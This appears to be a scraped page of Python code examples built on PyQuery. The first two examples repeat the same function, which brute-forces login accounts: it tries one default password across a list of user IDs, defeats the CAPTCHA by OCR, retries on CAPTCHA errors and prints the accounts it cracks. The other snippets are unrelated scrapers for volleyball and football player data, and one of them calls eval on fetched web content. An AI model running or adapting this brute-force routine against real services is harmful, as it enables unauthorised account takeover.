예제 #1
0
def try_account(id_list, default_pass):
    """
    暴力破解帐号密码
    :param id_list:帐号列表
    :param default_pass:默认密码
    :return:
    """
    for id_item in id_list:
        form_data['loginName'] = str(id_item)  # 将用户名填入表单
        form_data['password'] = default_pass  # 将密码填入表单
        code_img_name = get_code_img()
        code_str = code_img_to_string(code_img_name)
        form_data['verify'] = code_str  # 验证码填入表单
        result = login()  # 登录,获取返回的 response 结果
        print form_data
        err_msg = Pq(result).find(
            '.login_panel .ul_login li:eq(4) span').text()
        print err_msg.decode('utf-8')
        if err_msg == u'验证码错误':
            # 获取验证码重新登录
            code_img_name = get_code_img()
            code_str = code_img_to_string(code_img_name)
            form_data['verify'] = code_str
            result = login()
        if err_msg == u'用户名或者密码错误':
            continue
        if err_msg is None:
            print '成功破解:' + str(id_item) + "\t" + result  # 打印成功登录的帐号
예제 #2
0
def try_account(id_list, default_pass):
    """
    暴力破解帐号密码
    :param id_list:帐号列表
    :param default_pass:默认密码
    :return:
    """
    for id_item in id_list:
        form_data['loginName'] = str(id_item)  # 将用户名填入表单
        form_data['password'] = default_pass  # 将密码填入表单
        code_img_name = get_code_img()
        code_str = code_img_to_string(code_img_name)
        form_data['verify'] = code_str  # 验证码填入表单
        result = login()  # 登录,获取返回的 response 结果
        print form_data
        err_msg = Pq(result).find('.login_panel .ul_login li:eq(4) span').text()
        print err_msg.decode('utf-8')
        if err_msg == u'验证码错误':
            # 获取验证码重新登录
            code_img_name = get_code_img()
            code_str = code_img_to_string(code_img_name)
            form_data['verify'] = code_str
            result = login()
        if err_msg == u'用户名或者密码错误':
            continue
        if err_msg is None:
            print '成功破解:' + str(id_item) + "\t" + result  # 打印成功登录的帐号
예제 #3
0
    def queryPlayer(self):
        url = "http://www.volleychina.org/team/w/"
        opener = self.getOpener(getPlayerDataThread.header)
        op = opener.open(url)
        data=op.read()
        data=PyQuery(data)
        #读取球队的id号以及球队名字
        team=list()
        teamNum=data(".teamblock").length
        for i in range(teamNum):
            team.append(
                {
                #读取id号
                "id":data(".teamblock:nth-child("+str(i+1)+")").attr("id"),
                #读取球队名
                "name":data(".teamblock:nth-child("+str(i+1)+")").text()
            }
            )
            #存入数据库中
            src.database.clubDb.creatTeam(team[i])

        #依次读取各个球队的队员信息
        for index in(range(len(team))):
            #将位置转换为中文
            def positionToZH(num):
                if num==1:
                    return "主攻"
                if num==2:
                    return "副攻"
                if num==3:
                    return "接应"
                if num==4:
                    return "二传"
                if num==5:
                    return "自由人"

            #将取得的id号拼接为一个url
            url="http://cva.sports.sina.com.cn/api/player/getByTeamId?teamId="+str(team[index]["id"])+"&callback=drawit2&dpc=1"
            op=opener.open(url)
            data = op.read()
            data=data.decode("gbk")
            num=str.find(data,"data")
            #将字符串切分,方便处理为dict
            data=data[num+7:-17]
            data=str.split(data,"},")
            res=list()
            for index in range(len(data)-1):
                data[index]+="}"
                #转换为dict
                playerDict=eval(data[index])
                #将位置号转化为中文
                playerDict["position"]=positionToZH(int(playerDict["position"]))
                res.append(playerDict)
                src.database.playerDb.creatPlayer(playerDict)
def import_team(rootpage, session, event):
    """Imports multiple Players a time from a external Site.
       Currently only working with Transfermarkt.ch

    """
    headers = {"User-agent": "Mozilla/5.0"}
    for page in rootpage:
        f = requests.get(page, headers=headers)
        nationpage = f.content
        nationpage = PyQuery(nationpage.decode("utf8"))
        content = nationpage("#main")
        nation_name = content(".box-header .spielername-profil").text()
        country_code = COUNTRY_CODE_MAPPING[nation_name]

        # Lookup nation
        nation = session.query(Nation).filter(Nation.country == country_code).first()
        # Create a new nation if we didn't find one
        if nation is None:
            nation = Nation(nation_name, event, country_code)
            nation.country = country_code
            session.add(nation)

        playertable = content("table.items")
        playerlist = playertable("tbody")
        for item in playerlist("tbody > tr"):
            name = PyQuery(item)(".hide-for-small a.spielprofil_tooltip").text()
            link = PyQuery(item)(".hide-for-small a.spielprofil_tooltip").attr("href")
            link = "http://www.transfermarkt.ch" + link
            f = requests.get(link, headers=headers)
            playerpage = f.content
            playerpage = PyQuery(playerpage.decode("utf8"))
            clubname = playerpage(".dataZusatzDaten .hauptpunkt .vereinprofil_tooltip").text()
            league = playerpage(".dataZusatzDaten .mediumpunkt a").text()

            data_items = playerpage(".dataContent p")
            player_props = dict(
                [
                    (k.text(), v.text())
                    for k, v in zip(data_items(".dataItem").items(), data_items(".dataValue").items())
                ]
            )

            img_src = playerpage(".dataBild img").attr("src")
            img = requests.get(img_src, headers=headers).content
            try:
                im = Image.open(StringIO.StringIO(img))
                im.verify()
            except Exception:
                img = None

            # Conversions
            position = POSITION_MAPPING.get(player_props.get("Position:"))

            # Marktwert
            value_data = playerpage(".dataMarktwert").text()
            value = value_data.split()[0]
            multiplier = MULTIPLIER_MAPPING.get(value_data.split()[1], 1)
            if "," in value:
                value = int(value.split(",")[0]) * multiplier + int(value.split(",")[1]) * multiplier * 0.01
            else:
                value = int(value) * multiplier

            size = player_props.get(u"Gr\xf6\xdfe:", "0.00").replace(",", ".")
            date_of_birth = date.fromtimestamp(
                time.mktime(time.strptime(player_props.get("Geb./Alter:").split()[0], "%d.%m.%Y"))
            )

            # Lookup player
            player = session.query(Player).filter(Player.name == name and Player.nation_id == nation.id_).first()
            # Create a new player if we didn't find one.
            if player is None:
                player = Player(name, position, nation.id_, event)
                session.add(player)
            # Set/update player properties
            player.original_name = player_props.get("Name im Heimatland:")
            player.date_of_birth = date_of_birth
            player.age = int(player_props.get("Geb./Alter:").split()[1].strip("()"))
            # player.foot = player_props.get(u'Fu\xdf:')
            player.value = value
            player.size = size
            player.club = clubname
            player.league = league
            player.image = img